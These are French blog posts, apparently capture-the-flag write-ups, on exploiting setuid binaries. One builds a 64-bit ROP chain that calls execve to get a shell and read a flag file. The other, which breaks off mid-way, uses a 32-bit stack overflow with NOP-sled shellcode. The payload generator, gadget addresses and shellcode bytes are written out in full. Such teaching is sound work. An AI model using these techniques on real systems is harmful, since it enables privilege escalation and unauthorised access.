<pre><code> RAX &lt;- 0x3b (= 59, la valeur du syscall execve() sur 64bits)
RDI &lt;- &quot;/bin/sh&quot; ou quelque chose du genre
RSI &lt;- 0x00 (NULL)
RDX &lt;- 0x00 (NULL)
</code></pre>
<p>Donc, le layout de la stack en sortie de <code>main()</code> devrait ressembler à quelque chose comme ceci:</p>
<pre><code>[ AAA....AAAA | BBBBBB00 | @(pop rax; ret) | 0x3b | @(pop rdi; ret) | &quot;/bin/sh&quot; | @(pop rsi; ret) | 0x0 | @(pop rdx; ret) | 0x0 | @syscall ]
^ ^
| |
buffer $rip écrasé par cette adresse
</code></pre>
<p>Une fois arrivé à la fin de la fonction <code>main()</code>, le système va donc exécuter les instructions dont l&rsquo;adresse est stockée en <code>$rip</code>, à savoir <code>pop rax; ret</code>. Quand cette suite d&rsquo;instructions est en cours d&rsquo;exécution, le haut de la stack devient alors le mot de 8 octets suivant (<code>0x0000003b</code>), et c&rsquo;est ce mot qui est <code>pop</code>-é pour être mis dans <code>$rax</code>. On exécutera alors le <code>pop rdi; ret</code>, qui prendra la valeur sur la stack à ce moment, à savoir l&rsquo;adresse de la chaîne de caractères <code>&quot;/bin/sh&quot;</code> pour la stocker dans <code>$rdi</code>. Et ainsi de suite.</p>
<pre><code>$ rp-lin-x64 --file ./prog --unique -r 1 | grep &quot;pop rax&quot;
[...]
0x0044d2b4: pop rax ; ret ; (8 found)
$ rp-lin-x64 --file ./prog --unique -r 1 | grep &quot;pop rdi&quot;
[...]
0x004016d3: pop rdi ; ret ; (163 found)
$ rp-lin-x64 -f prog --unique -r 1 | grep &quot;pop rsi&quot;
[...]
0x004017e7: pop rsi ; ret ; (51 found)
$ rp-lin-x64 -f prog --unique -r 1 | egrep &quot;pop rdx&quot;
[...]
0x00437205: pop rdx ; ret ; (2 found)
</code></pre>
<p>Et pour finir, on cherche l&rsquo;appel à un syscall. Notons encore une fois une difference entre x86 et x86-64: l&rsquo;appel est <code>int 0x80</code> sur 32 bits, alors qu&rsquo;on utilise <code>syscall</code> sur x86-64 (depend si on est sur intel ou amd)</p>
<pre><code>$ rp-lin-x64 -f prog --unique -r 1 | grep syscall
[...]
0x00400488: syscall ; (95 found)
</code></pre>
<p>Bien, on a l&rsquo;adresse à empiler en dernier!</p>
<p>Maintenant, si vous avez fait attention, vous avez remarqué qu&rsquo;on a zappé quelque chose! On doit resoudre le probleme de la chaîne de caractères censée être utilisée par <code>execve()</code>.</p>
<pre><code>$ nm -a ./ch34 | grep &quot;/bin/sh&quot;
$
</code></pre>
<p>On ne trouve pas <code>&quot;/bin/sh&quot;</code> dans le binaire, ni d&rsquo;autres chemins susceptible de nous plaire&hellip; On va utiliser un trick: trouver une chaîne de caractère dispo en mémoire, qui ne corresponde pas a une commande déjà existante, puis créer un wrapper à <code>/bin/dash</code> qui portera le nom de cette chaîne. Ce wrapper sera mis dans le répertoire <code>/tmp/p</code>, qui est dans le <code>PATH</code>. Pourquoi <code>/bin/dash</code> et pas <code>/bin/sh</code> ou <code>/bin/bash</code>? Sur ce système, comme souvent, on a ça :</p>
<pre><code>$ ls -l /bin/sh
lrwxrwxrwx 1 root root 4 mai 16 2015 /bin/sh -&gt; bash
</code></pre>
<p>Or il semble que <code>bash</code> pose problème à cause de l&rsquo;option <code>-p</code> (pas référencée dans la <code>manpage</code>, juste mentionnée dans un paragraphe), qui a cet effet:</p>
<blockquote>
<p>If the shell is started with the effective user (group) id not equal to the real user (group) id, and the -p option is not supplied, no startup files are read, shell functions are not inherited from the environment, the SHEL‐
LOPTS, BASHOPTS, CDPATH, and GLOBIGNORE variables, if they appear in the environment, are ignored, and the effective user id is set to the real user id. If the -p option is supplied at invocation, the startup behavior is the
same, but the effective user id is not reset.</p>
</blockquote>
<p>Du coup, plutôt que s&rsquo;embêter à gérer ce cas particulier, autant utiliser <code>/bin/dash</code> qui n&rsquo;a pas ce genre de comportement.</p>
<pre><code>$ readelf -x .rodata ./prog | less
[...]
0x00493c00 42654000 00000000 68654000 00000000 [email protected]@.....
[...]
</code></pre>
<p>On trouve la séquence <code>42654000</code>, qui correspond à <code>&quot;Be@&quot;</code> en ASCII, terminée par un nul-byte. Son adresse est <code>0x00493c00</code>, et on l&rsquo;utilisera dans <code>$rdi</code>. Ensuite, on crée un petit shell script dans <code>/tmp/p</code>:</p>
<pre><code>$ cat &gt; /tmp/p/Be@
#!/bin/dash
/bin/dash
$ chmod +x /tmp/p/Be@
</code></pre>
<p>Ainsi, si <code>execve()</code> invoque la commande <code>Be@</code>, elle sera dans notre <code>PATH</code>, et nous donnera un shell. Magique non? Ca évite une fastitieuse reconstruction d&rsquo;un path type <code>&quot;/bin/sh&quot;</code> via des gadgets.</p>
<p>Boooon, que les choses sérieuses commencent! On va construire notre ropchain maintenant, en prenant soin de respecter l&rsquo;endianness:</p>
<pre><code>$ cat &gt; /tmp/p/ropchain.py
#!/usr/bin/env python3
import sys
import struct
def main(argv):
if len(argv) &lt; 2:
print(&quot;Usage: %s &lt;padding length&gt;&quot;, argv[0])
raise SystemExit(-1)
padding_len = int(argv[1])
gadgets = []
gadgets.append(struct.pack('&lt;Q', 0x000000000044d2b4)) # pop rax; ret
gadgets.append(struct.pack('&lt;Q', 0x000000000000003b)) # store 59 on the stack
gadgets.append(struct.pack('&lt;Q', 0x00000000004016d3)) # pop rdi; ret
gadgets.append(struct.pack('&lt;Q', 0x0000000000493c00)) # addr of &quot;Be@&quot; to put in rsi
gadgets.append(struct.pack('&lt;Q', 0x00000000004017e7)) # pop rsi; ret
gadgets.append(struct.pack('&lt;Q', 0x0000000000000000)) # NULL pointer for args
gadgets.append(struct.pack('&lt;Q', 0x0000000000437205)) # pop rdx; ret
gadgets.append(struct.pack('&lt;Q', 0x0000000000000000)) # NULL pointer for envs
gadgets.append(struct.pack('&lt;Q', 0x0000000000400488)) # syscall
payload = b'A' * (padding_len - 8) + b'B' * 6 + b'\x00\x00' + b''.join(gadgets)
print(payload)
if __name__ == &quot;__main__&quot;:
main(sys.argv)
^D
$ sc=$(ropchain.py 280); export sc=${sc:2:-1}; echo $sc
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBB\x00\x00\x9f\xbdA\x00\x00\x00\x00\x00\x10\xaaE\x00\x00\x00\x00\x00\x10\xaaE\x00\x00\x00\x00\x00\x10\xaaE\x00\x00\x00\x00\x00\x10\xaaE\x00\x00\x00\x00\x00\x10\xaaE\x00\x00\x00\x00\x00\x10\xaaE\x00\x00\x00\x00\x00\x10\xaaE\x00\x00\x00\x00\x00\x10\xaaE\x00\x00\x00\x00\x00\x10\xaaE\x00\x00\x00\x00\x00\x10\xaaE\x00\x00\x00\x00\x00\x10\xaaE\x00\x00\x00\x00\x00\x10\xaaE\x00\x00\x00\x00\x00\x10\xaaE\x00\x00\x00\x00\x00\x10\xaaE\x00\x00\x00\x00\x00\x10\xaaE\x00\x00\x00\x00\x00\x10\xaaE\x00\x00\x00\x00\x00\x10\xaaE\x00\x00\x00\x00\x00\x10\xaaE\x00\x00\x00\x00\x00\x10\xaaE\x00\x00\x00\x00\x00\x10\xaaE\x00\x00\x00\x00\x00\x10\xaaE\x00\x00\x00\x00\x00\x10\xaaE\x00\x00\x00\x00\x00\x10\xaaE\x00\x00\x00\x00\x00\x10\xaaE\x00\x00\x00\x00\x00\x10\xaaE\x00\x00\x00\x00\x00\x10\xaaE\x00\x00\x00\x00\x00\x10\xaaE\x00\x00\x00\x00\x00\x10\xaaE\x00\x00\x00\x00\x00\x10\xaaE\x00\x00\x00\x00\x00\x10\xaaE\x00\x00\x00\x00\x00\x10\xaaE\x00\x00\x00\x00\x00\x10\xaaE\x00\x00\x00\x00\x00\x10\xaaE\x00\x00\x00\x00\x00\x10\xaaE\x00\x00\x00\x00\x00\x10\xaaE\x00\x00\x00\x00\x00\x10\xaaE\x00\x00\x00\x00\x00\x10\xaaE\x00\x00\x00\x00\x00\x10\xaaE\x00\x00\x00\x00\x00\x10\xaaE\x00\x00\x00\x00\x00\x10\xaaE\x00\x00\x00\x00\x00\x10\xaaE\x00\x00\x00\x00\x00\x10\xaaE\x00\x00\x00\x00\x00\x10\xaaE\x00\x00\x00\x00\x00\x10\xaaE\x00\x00\x00\x00\x00\x10\xaaE\x00\x00\x00\x00\x00\x10\xaaE\x00\x00\x00\x00\x00\x10\xaaE\x00\x00\x00\x00\x00\x10\xaaE\x00\x00\x00\x00\x00\x10\xaaE\x00\x00\x00\x00\x00\x10\xaaE\x00\x00\x00\x00\x00\x10\xaaE\x00\x00\x00\x00\x00\x10\xaaE\x00\x00\x00\x00\x00\x10\xaaE\x00\x00\x00\x00\x00\x10\xaaE\x00\x00\x00\x00\x00\x10\xaaE\x00\x00\x00\x00\x00\x10\xaaE\x00\x00\x00\x00\x00\x10\xaaE\x00\x00\x00\x00\x00\x10\xaaE\x00\x00\x00\x00\x00\x10\xaaE\x00\x00\x00\x00\x000\xec@\x00\x00\x00\x00\x00\x00&lt;I\x00\x00\x00\x00\x00\xe7\x17@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05rC\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa7\x81K\x00\x00\x00\x00\x00'\xe9J\x00\x00\x00\x00\x00
</code></pre>
<p>NOTE: le <code>${sc:2:-1}</code> permet de se débarrasser du <code>b&quot;</code> en début de chaîne et <code>&quot;</code> en fin de chaîne. Il y a sûrement moyen de faire ça intelligemment mais je suis une bille en python, et j&rsquo;avais pas de temps à perdre là-dessus!</p>
<pre><code>$ gdb ./prog
[...]
gdb$ disas main
[...]
0x00000000004010e6 &lt;+136&gt;: mov eax,0x0
0x00000000004010eb &lt;+141&gt;: leave
0x00000000004010ec &lt;+142&gt;: ret
End of assembler dump.
gdb$ b *0x00000000004010ec
Breakpoint 1 at 0x4010ec
gdb$ r &lt; &lt;(perl -e 'print &quot;'$sc'&quot;')
Starting program: /home/usr/prog &lt; &lt;(perl -e 'print &quot;'$sc'&quot;')
[...]
=&gt; 0x4010ec &lt;main+142&gt;: ret
0x4010ed: nop DWORD PTR [rax]
[...]
Breakpoint 1, 0x00000000004010ec in main ()
</code></pre>
<p>On regarde l&rsquo;état de la stack, et on observe qu&rsquo;on a correctement empilé les adresses de nos petits gadgets:</p>
<pre><code>gdb$ x/20gx $rsp - 30
0x3ac2bce0758: 0x4141414141414141 0x4141414141414141
0x3ac2bce0768: 0x4141414141414141 0x4141414141414141
0x3ac2bce0778: 0x0000011600000116 0x0000424242424242
0x3ac2bce0788: 0x000000000044d2b4 0x000000000000003b
0x3ac2bce0798: 0x00000000004016d3 0x0000000000493c00
0x3ac2bce07a8: 0x00000000004017e7 0x0000000000000000
0x3ac2bce07b8: 0x0000000000437205 0x0000000000000000
0x3ac2bce07c8: 0x0000000000400488 0x0000000000401700
0x3ac2bce07d8: 0x0000000000000000 0x38ae7d8e75b336fa
0x3ac2bce07e8: 0x3ff62a925f9536fa 0x0000000000000000
gdb$ x/i $rip
=&gt; 0x4010ec &lt;main+142&gt;: ret
gdb$ x/2i 0x000000000044d2b4
0x44d2b4 &lt;__printf_fp+4676&gt;: pop rax
0x44d2b5 &lt;__printf_fp+4677&gt;: ret
gdb$ x/2i 0x00000000004016d3
0x4016d3 &lt;__libc_setup_tls+515&gt;: pop rdi
0x4016d4 &lt;__libc_setup_tls+516&gt;: ret
gdb$ x/2i 0x00000000004017e7
0x4017e7 &lt;__libc_csu_init+135&gt;: pop rsi
0x4017e8 &lt;__libc_csu_init+136&gt;: ret
gdb$ x/2i 0x0000000000437205
0x437205 &lt;__lll_lock_wait_private+37&gt;: pop rdx
0x437206 &lt;__lll_lock_wait_private+38&gt;: ret
gdb$ x/i 0x0000000000400488
0x400488 &lt;backtrace_and_maps+183&gt;: syscall
</code></pre>
<p>Vérifions également que la chaîne est celle attendue:</p>
<pre><code>gdb$ x/s 0x0000000000493c00
0x493c00: &quot;Be@&quot;
gdb$ c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
</code></pre>
<p>Bizarre, si j&rsquo;execute instruction par instruction on voit que tout se passe comme espère, mais on n&rsquo;a pas de shell, et le programme explose. D&rsquo;ailleurs pour confirmer, on peut utiliser <code>strace(1)</code>:</p>
<pre><code>$ (perl -e 'print &quot;'$sc'&quot;') | strace ./prog
execve(&quot;./prog&quot;, [&quot;./prog&quot;], [/* 19 vars */]) = 0
uname({sys=&quot;Linux&quot;, node=&quot;host&quot;, ...}) = 0
brk(0) = 0x44cf490
brk(0x44d0650) = 0x44d0650
arch_prctl(ARCH_SET_FS, 0x44cfd40) = 0
readlink(&quot;/proc/self/exe&quot;, &quot;/home/user/prog&quot;, 4096) = 32
brk(0x44f1650) = 0x44f1650
brk(0x44f2000) = 0x44f2000
access(&quot;/etc/ld.so.nohwcap&quot;, F_OK) = -1 ENOENT (No such file or directory)
fstat(0, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x3811996c000
read(0, &quot;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&quot;..., 4096) = 352
read(0, &quot;&quot;, 4096) = 0
fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 6), ...}) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x3811996b000
write(1, &quot;Hex result: 41414141414141414141&quot;..., 569Hex result: 414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141160100000c010000424242424242) = 569
execve(&quot;Be@&quot;, [0], [/* 0 vars */]) = -1 ENOENT (No such file or directory)
--- SIGSEGV {si_signo=SIGSEGV, si_code=SI_KERNEL, si_addr=0} ---
+++ killed by SIGSEGV +++
Segmentation fault
</code></pre>
<p>On remarque la ligne:</p>
<pre><code>execve(&quot;Be@&quot;, [0], [/* 0 vars */]) = -1 ENOENT (No such file or directory)
</code></pre>
<p>On est content, on a la confirmation qu&rsquo;<code>execve()</code> est appelé, et avec les bons arguments qui plus est! Tout va bien sauf que&hellip; <code>&quot;Be@&quot;</code> n&rsquo;est pas trouvé (<code>ENOENT</code>)! En fait le programme regarde dans le <code>CWD</code> et ne trouve rien. Donc <code>execve()</code> échoue et on passe à l&rsquo;instruction suivante&hellip; qu&rsquo;on n&rsquo;a pas gérée, <code>$rip</code> contient donc une adresse arbitraire, le programme saute à cette adresse et plante lamentablement. Il faut donc qu&rsquo;on exécute notre programme depuis le répertoire contenant notre wrapper a <code>/bin/dash</code>:</p>
<pre><code>$ cd /tmp/p &amp;&amp; (perl -e 'print &quot;'$sc'&quot;') | strace ~/prog
[...]
rt_sigaction(SIGTERM, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGTERM, {SIG_DFL, ~[RTMIN RT_1], SA_RESTORER, 0x28c41d06cb0}, NULL, 8) = 0
read(10, &quot;#!/bin/dash\n\n/bin/dash\n&quot;, 8192) = 23
clone(child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x28c422a5a10) = 3704
wait4(-1, [{WIFEXITED(s) &amp;&amp; WEXITSTATUS(s) == 0}], 0, NULL) = 3704
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=3704, si_status=0, si_utime=0, si_stime=0} ---
rt_sigreturn() = 3704
read(10, &quot;&quot;, 8192) = 0
exit_group(0) = ?
+++ exited with 0 +++
$
</code></pre>
<p>Ok, notre programme rend la main immédiatement. Il a dû prendre un <code>EOF</code> ou une séquence terminant le shell. On va utiliser le trick du built-in <code>cat</code>, pour maintenir le stdin ouvert (et on ajoute un <code>\n</code> pour flusher les buffers):</p>
<pre><code>$ (perl -e 'print &quot;'$sc'&quot; . &quot;\n&quot;'; cat) | ~/prog
Hex result: 414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141160100000c010000424242424242
whoami
user-cracked
ls
Be@ ropchain.py rp-lin-x64
cd /home/user
ls -a
.passwd prog prog.c
cat .passwd
CeciEstMonFlagTagadaTsoinTsoin!
</code></pre>
<p>Et voilà! Youpi!</p>
</description>
</item>
<item>
<title>On est sur Github Pages!!! rholallalala</title>
<link>https://unix4fun.github.io/post/on-est-sur-githubpages/</link>
<pubDate>Sun, 02 Oct 2016 10:48:23 +0200</pubDate>
<guid>https://unix4fun.github.io/post/on-est-sur-githubpages/</guid>
<description><p>Tout est dit!</p>
<p>On utilise donc <a href="https://gohugo.io/">Hugo</a> et on hoste sur <a href="https://pages.github.com/">GitHub Pages</a>.</p>
<p>Avant on etait <a href="https://blog.unix4fun.net">blog.unix4fun.net</a>, desormais, nous sommes <a href="https://unix4fun.github.io">unix4fun.github.io</a>. L&rsquo;ancien blog et les posts restent disponibles et on espere etre un peu plus actifs par ici&hellip;</p>
<p>voila, voila, en vous remerciant!</p>
</description>
</item>
<item>
<title>Exploiter un stack overflow à l'ancienne.</title>
<link>https://unix4fun.github.io/post/exploiter-un-stack-overflow/</link>
<pubDate>Fri, 23 Sep 2016 07:38:13 +0200</pubDate>
<guid>https://unix4fun.github.io/post/exploiter-un-stack-overflow/</guid>
<description><p>Youpla la compagnie! Ça fait un bail non? :) Bon, récemment je me suis mis à regarder un peu les vieilles failles de sécu des années 90&rsquo;/début 2000. Ok ok, de nos jours c&rsquo;est complètement différent, on a des milliards de protections (PIE, ASLR, relro, stack canary, etc). Mais pour ma culture générale, j&rsquo;ai voulu regarder. J&rsquo;ai donc cherché sur google un site proposant des challenges, et je suis tombé sur l&rsquo;un d&rsquo;eux qui est vraiment bien fichu: il propose une dizaine de catégories (web, cryptanalyse, crackme, exploitation système, etc). Il propose de se connecter sur des machines où l&rsquo;environnement est déjà préparé, etc.</p>
<p>NOTE: je ne le nomme pas, non pas pour ne pas faire de la publicité, mais parce qu&rsquo;en traînant un peu mes guêtre par là, les administrateurs n&rsquo;aiment pas trop que les solutions se trouvent trop facilement sur le net. Donc je vais tenter de rendre la recherche de solution un peu plus compliquée tout en restant cohérent (j&rsquo;espère).</p>
<p>Donc jy bondis:</p>
<pre><code>maison$ ssh -p 2222 user@&lt;hostname&gt;
[...]
$ ls -la
total 28
dr-xr-x--- 2 user-cracked user 4096 May 21 2015 .
drwxr-xr-x 22 root root 4096 Mar 2 2016 ..
-r-sr-x--- 1 user-cracked user 10511 May 4 2013 prog
-r--r----- 1 user user 1277 Jan 7 2011 prog.c
-r--r----- 1 user-cracked user-cracked 13 Feb 8 2012 .passwd
$ id
uid=1110(user) gid=1110(user) groups=1110(user),100(users)
</code></pre>
<p>L&rsquo;objectif ici est d&rsquo;exécuter le programme &ldquo;prog&rdquo;, qui est setuid, et de l&rsquo;exploiter pour pouvoir lire le contenu du fichier .passwd.</p>
<pre><code>$ cat prog.c
#include &lt;stdio.h&gt;
#include &lt;string.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;ctype.h&gt;
#include &lt;unistd.h&gt;
#include &lt;sys/types.h&gt;
#define BUFFER 512
struct Init
{
char username[128];
uid_t uid;
pid_t pid;
};
void cpstr(char *dst, const char *src)
{
for(; *src; src++, dst++)
{
*dst = *src;
}
*dst = 0;
}
void chomp(char *buff)
{
for(; *buff; buff++)
{
if(*buff == '\n' || *buff == '\r' || *buff == '\t')
{
*buff = 0;
break;
}
}
}
struct Init Init(char *filename)
{
FILE *file;
struct Init init;
char buff[BUFFER+1];
if((file = fopen(filename, &quot;r&quot;)) == NULL)
{
perror(&quot;[-] fopen &quot;);
exit(0);
}
memset(&amp;init, 0, sizeof(struct Init));
init.pid = getpid();
init.uid = getuid();
while(fgets(buff, BUFFER, file) != NULL)
{
chomp(buff);
if(strncmp(buff, &quot;USERNAME=&quot;, 9) == 0)
{
cpstr(init.username, buff+9);
}
}
fclose(file);
return init;
}
int main(int argc, char **argv)
{
struct Init init;
if(argc != 2)
{
printf(&quot;Usage : %s &lt;config_file&gt;\n&quot;, argv[0]);
exit(0);
}
init = Init(argv[1]);
printf(&quot;[+] Runing the program with username %s, uid %d and pid %d.\n&quot;, init.username, init.uid, init.pid);
return 0;
}
</code></pre>
<p>Visiblement dans ce challenge on a un stack overflow classique dans cpstr(),mais en plus il faut faire attention à préserver certaines valeurs sur la pile. En effet dans Init(), on peut voir un:</p>
<pre><code>fclose(file);
return init;
</code></pre>
<p>Si on ne fait pas attention à ce que `file&rsquo; ait une valeur correcte, l&rsquo;appel à fclose() va faire crasher l&rsquo;application avant le return, et nous empêcher d&rsquo;exploiter l&rsquo;overflow.</p>
<p>Typiquement le contenu du fichier devrait alors être de cette forme:</p>
<p>&ldquo;USERNAME=&rdquo; [JUNK pour remplir le buffer] &hellip; [file pointer] &hellip; [ new eip ]</p>
<p>Avec `new eip qui doit écraser $eip, et sauter dans du code qu&rsquo;on veut donc faire exécuter.</p>
<p>Comme notre overflow va écraser les autres éléments de la structure Init, on va faire en sorte de mettre des valeurs qui facilitent le debug: -1 pour l&rsquo;uid et -2 pour le pid.</p>
<pre><code>$ mkdir /tmp/prout &amp;&amp; export binpath=/tmp/prout/foo.bin
$ export uid=&quot;\xff\xff\xff\xff&quot;
$ export pid=&quot;\xfe\xff\xff\xff&quot;
</code></pre>
<p>On va faire tourner le programme dans gdb afin de savoir la valeur retournée par fopen(), pour la restaurer avant le fclose():</p>
<pre><code>$ gdb ./prog
[...]
gdb$ disas Init
[...]
0x080485bd &lt;+20&gt;: mov DWORD PTR [esp+0x4],edx
0x080485c1 &lt;+24&gt;: mov DWORD PTR [esp],eax
0x080485c4 &lt;+27&gt;: call 0x8048480 &lt;fopen@plt&gt;
0x080485c9 &lt;+32&gt;: mov DWORD PTR [ebp-0x1c],eax
[...]
</code></pre>
<p>On met donc un breakpoint juste apres le <em>fopen()</em> pour connaître la valeur du pointeur (en général les valeurs de retour sont dans $eax, et la ligne +24 nous le confirme, puisqu&rsquo;on empile le contenu de $eax pour passer cette valeur à <em>fclose()</em>:</p>
<pre><code>gdb$ b *0x080485c9
Breakpoint 1 at 0x80485c9: file binary10.c, line 45.
gdb$ r /tmp/prout/foo.bin
[...]
Breakpoint 2, 0x080485c9 in Init (filename=0xbffffc80 &quot;/tmp/prout/foo.bin&quot;) at binary10.c:45
45 in prog.c
gdb$ i r eax
eax 0x804b008 0x804b008
</code></pre>
<p>On est content, on a la valeur du FILE * qu&rsquo;on désire sauver:</p>
<pre><code>$ export fileptr=&quot;\x08\xb0\x04\x08&quot;
</code></pre>
<p>Ensuite on exporte notre shellcode (on peut en trouver partout sur le net)&hellip;</p>
<pre><code>$ export shellcode=$(perl -e 'print &quot;\x90&quot;x128 . &quot;\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80&quot;')
</code></pre>
<p>On écrit ensuite un petit programme pour récupérer l&rsquo;adresse d&rsquo;une variable d&rsquo;environnement donnée, pour un programme donné (on se met dans un répertoire avec les droits d&rsquo;écriture &ndash; par exemple dans /tmp):</p>
<pre><code>$ cat getenv.c
#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;string.h&gt;
int
main(int argc, char **argv)
{
char *p = NULL;
if(argc &lt; 3) {
fprintf(stderr, &quot;Usage: %s &lt;env name&gt; &lt;binary&gt;\n&quot;, argv[0]);
return EXIT_FAILURE;
}
p = getenv(argv[1]);
p += (strlen(argv[0]) - strlen(argv[2])) * 2;
printf(&quot;%s is set at %p\n&quot;, argv[1], (void *) p);
return EXIT_SUCCESS;
}
$ cc -o getenv getenv.c -m32
$ ./getenv shellcode $HOME/prog
0xbffffd47
</code></pre>
<p>Ok! Enfin on peut tester ce programme!</p>
<pre><code>$ perl -e 'print &quot;USERNAME=&quot; . &quot;A&quot;x128 . &quot;'$uid'&quot; . &quot;'$pid'&quot; . &quot;'$fileptr'&quot; . &quot;B&quot;x32 . &quot;\x47\xfd\xff\xbf&quot;' &gt; &quot;$binpath&quot; &amp;&amp; ./ch10 &quot;$binpath&quot;
Segmentation fault
</code></pre>
<p>Pour avoir des infos supplémentaires je copie le binaire dans /tmp/prout:</p>
<pre><code>$ cp ./prog /tmp/prout
$ ulimit -c unlimited
</code></pre>
<p>Maintenant un SIGSEGV me donnera quelque chose a manger:</p>
<pre><code>$ perl -e 'print &quot;USERNAME=&quot; . &quot;A&quot;x128 . &quot;'$uid'&quot; . &quot;'$pid'&quot; . &quot;'$fileptr'&quot; . &quot;B&quot;x32 . &quot;\x47\xfd\xff\xbf&quot;' &gt; &quot;$binpath&quot; &amp;&amp; ./ch10 &quot;$binpath&quot;
Segmentation fault (core dumped)
$ gdb ./prog core
Core was generated by `./prog /tmp/prout/foo.bin'.
Program terminated with signal 11, Segmentation fault.
#0 0x42424242 in ?? ()
</code></pre>
<p>Ah? Je me serais planté de 4 bytes pour l&rsquo;adresse dans la stack ou je devrais écraser $eip? Ok&hellip; bon ben on décale alors, histoire de faire coïncider l&rsquo;adresse du shellcode dans l&rsquo;environnement avec $eip. On insère donc 28x&rdquo;B&rdquo; au lieu de 32, et on rajoute un gentil petit canary apres l&rsquo;adresse, au cas où.</p>
<pre><code>$ perl -e 'print &quot;USERNAME=&quot; . &quot;A&quot;x128 . &quot;'$uid'&quot; . &quot;'$pid'&quot; . &quot;'$fileptr'&quot; . &quot;B&quot;x28 . &quot;\x47\xfd\xff\xbf&quot; . &quot;C&quot;x4' &gt; &quot;$binpath&quot; &amp;&amp; ./prog &quot;$binpath&quot;
Segmentation fault (core dumped)
[...]
Core was generated by `./prog /tmp/prout/foo.bin'.
Program terminated with signal 11, Segmentation fault.
#0 0x080486aa in Init (filename=0xbffffb00 &quot;T\377\377\277u\377\377\277~\377\377\277\227\377\377\277\316\377\377\277\327\377\377\277\354\377\377\277&quot;) at binary10.c:65
65 binary10.c: No such file or directory.
</code></pre>
<p>Euh? Bon, si on regarde le code assembleur, on remarque que l&rsquo;épilogue de la fonction Init() est différent de l&rsquo;ordinaire. De même que dans main(), on réserve de la place pour le &lsquo;struct Init Init&rsquo; qui sera retourné par Init() Donc l&rsquo;espace sur la stack va être écrasé par la copie de l&rsquo;objet de type &lsquo;struct init&rsquo;&hellip; ce qui va écraser tout ce qu&rsquo;on avait pris soin de construire avec nos petits doigts boudinés. En effet, en sortie de Init(), on a:</p>
<pre><code>[...]
0x08048699 &lt;+240&gt;: lea ebx,[ebp-0xa4]
0x0804869f &lt;+246&gt;: mov eax,0x22
0x080486a4 &lt;+251&gt;: mov edi,edx
0x080486a6 &lt;+253&gt;: mov esi,ebx
0x080486a8 &lt;+255&gt;: mov ecx,eax
0x080486aa &lt;+257&gt;: rep movs DWORD PTR es:[edi],DWORD PTR ds:[esi]
0x080486ac &lt;+259&gt;: mov eax,DWORD PTR [ebp+0x8]
0x080486af &lt;+262&gt;: add esp,0x2ac
0x080486b5 &lt;+268&gt;: pop ebx
0x080486b6 &lt;+269&gt;: pop esi
0x080486b7 &lt;+270&gt;: pop edi
0x080486b8 &lt;+271&gt;: pop ebp
0x080486b9 &lt;+272&gt;: ret 0x4
</code></pre>
<p>On fait encore quelques tests, en mettant que des \x47\xfd\xff\xbf a la place des &ldquo;B&rdquo;, pour valider cette hypothèse:</p>
<pre><code>$ perl -e 'print &quot;USERNAME=&quot; . &quot;A&quot;x128 . &quot;'$uid'&quot; . &quot;'$pid'&quot; . &quot;'$fileptr'&quot; . &quot;\x47\xfd\xff\xbf&quot;x8 . &quot;C&quot;x4' &gt; &quot;$binpath&quot; &amp;&amp; ./prog &quot;$binpath&quot;
Illegal instruction (core dumped)
</code></pre>
<p>Bon! Inspectons ça un peu mieux: on met un breakpoint juste avant le `ret&rsquo; de la fonction Init(), puis on exécute une instruction:</p>
<pre><code>gdb$ ni
0xbffffd47 in ?? ()
gdb$ x/16x 0xbffffd47
0xbffffd47: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffd57: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffd67: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffd77: 0x41414141 0x41414141 0x41414141 0x41414141
</code></pre>
<p>Hop, direct dans le buffer&hellip; Du coup, l&rsquo;idée est que plutôt d&rsquo;utiliser une variable d&rsquo;environnement à l&rsquo;adresse de laquelle on souhaite sauter, on va directement insérer notre shellcode dans le buffer init.username qu&rsquo;on remplit en lisant le fichier. Comme le buffer fait 128 bytes et que le shellcode fait 25 bytes, on préfixe avec 103 NOP (0x90), et on termine avec ce qu&rsquo;on souhaite faire exécuter:</p>
